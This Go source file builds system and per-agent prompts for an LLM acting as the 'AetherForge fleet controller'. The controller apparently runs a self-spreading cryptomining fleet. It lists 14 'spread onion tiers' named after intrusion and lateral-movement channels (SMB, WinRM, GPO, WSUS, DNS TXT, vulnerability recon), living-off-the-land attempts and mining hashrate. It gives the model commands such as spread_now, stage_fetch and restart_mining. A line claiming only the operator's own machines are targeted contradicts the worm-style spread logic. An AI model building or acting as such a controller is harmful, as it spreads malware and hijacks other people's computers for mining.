package ai

import (
	"encoding/json"
	"fmt"
	"strings"
)

// DefaultSpreadTiers returns the 14 spread onion tiers for prompt context.
func DefaultSpreadTiers() []string {
	return append([]string(nil), defaultSpreadTiers...)
}

// Default spread onion tiers (14) for prompt context.
var defaultSpreadTiers = []string{
	"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
	"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
	"smb", "winrm", "linux", "gpo",
}

// SystemPrompt returns the fleet AI system instructions.
func SystemPrompt() string {
	return strings.TrimSpace(`You are the AetherForge fleet controller for the operator's own machines.
Respond with short answers only. Prefer JSON: {"commands":[{"type":"noop","args":{}}]}.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
agent_command args: action (required), command, path, data.
bulk_command args: agent_ids (array), action, command.
reorder_tiers args: tier_order (array of strings), skip_tiers (optional array).
stage_fetch args: data (JSON manifest string).
set_agent_version args: module or build_id.
You have complete control in AI mode. Never target third-party systems.`)
}

// BuildMissionPrompt renders the standard per-agent mission prompt for one decision cycle.
func BuildMissionPrompt(s AgentSnapshot) string {
	return buildMissionPrompt(s)
}

// BuildUserPrompt is an alias for BuildMissionPrompt.
func BuildUserPrompt(s AgentSnapshot) string {
	return buildMissionPrompt(s)
}

func buildMissionPrompt(s AgentSnapshot) string {
	var b strings.Builder
	fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
	if s.Worker != "" {
		fmt.Fprintf(&b, " worker=%s", s.Worker)
	}
	b.WriteString("\n")
	fmt.Fprintf(&b, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID)
	if len(s.Capabilities) > 0 {
		flags := make([]string, 0, len(s.Capabilities))
		for k, v := range s.Capabilities {
			if v {
				flags = append(flags, k)
			}
		}
		if len(flags) > 0 {
			fmt.Fprintf(&b, "Forge capabilities: %s\n", strings.Join(flags, ", "))
		}
	}
	fmt.Fprintf(&b, "LOTL tier: %s\n", emptyDash(s.LOTLTier))
	fmt.Fprintf(&b, "Mining hashrate: %.2f H/s\n", s.MiningHashrate)
	if s.ActiveMethod != "" {
		fmt.Fprintf(&b, "Active method: %s\n", s.ActiveMethod)
	}
	if s.ChainExhausted {
		b.WriteString("Mining chain exhausted: true\n")
	}
	if len(s.ChainOrder) > 0 {
		fmt.Fprintf(&b, "Chain order: %s\n", strings.Join(s.ChainOrder, " → "))
	}

	b.WriteString("LOTL attempts (all tiers):\n")
	attemptByTier := map[string]TierAttempt{}
	for _, a := range s.LOTLAttempts {
		attemptByTier[a.Tier] = a
	}
	for _, tier := range defaultSpreadTiers {
		if a, ok := attemptByTier[tier]; ok {
			status := "fail"
			if a.OK {
				status = "ok"
			}
			if a.Error != "" {
				fmt.Fprintf(&b, "  - %s: %s (%s)\n", tier, status, a.Error)
			} else {
				fmt.Fprintf(&b, "  - %s: %s\n", tier, status)
			}
		} else {
			fmt.Fprintf(&b, "  - %s: pending\n", tier)
		}
	}
	for _, a := range s.LOTLAttempts {
		if _, listed := attemptByTier[a.Tier]; listed {
			continue
		}
		found := false
		for _, t := range defaultSpreadTiers {
			if t == a.Tier {
				found = true
				break
			}
		}
		if !found {
			status := "fail"
			if a.OK {
				status = "ok"
			}
			fmt.Fprintf(&b, "  - %s: %s\n", a.Tier, status)
		}
	}

	fmt.Fprintf(&b, "Join lane: %s\n", emptyDash(s.JoinLane))
	fmt.Fprintf(&b, "Spread state: %s\n", emptyDash(s.SpreadState))
	if s.VulnRisk != nil {
		fmt.Fprintf(&b, "Vuln risk score: %d\n", *s.VulnRisk)
	} else {
		b.WriteString("Vuln risk score: n/a\n")
	}
	if s.AdaptiveSummary != "" {
		fmt.Fprintf(&b, "Adaptive strategy summary: %s\n", s.AdaptiveSummary)
	} else if s.Adaptive != nil {
		if raw, err := json.Marshal(s.Adaptive); err == nil {
			fmt.Fprintf(&b, "Adaptive strategy: %s\n", string(raw))
		}
	}

	b.WriteString("\nIf all 14 tiers failed and hashrate=0, you MAY force restart mining chain (restart_mining).\n")
	b.WriteString("Return JSON commands array for this agent only.\n")
	return b.String()
}

func firstNonEmpty(vals ...string) string {
	for _, v := range vals {
		if strings.TrimSpace(v) != "" {
			return strings.TrimSpace(v)
		}
	}
	return "unknown"
}

func emptyDash(s string) string {
	if strings.TrimSpace(s) == "" {
		return "—"
	}
	return strings.TrimSpace(s)
}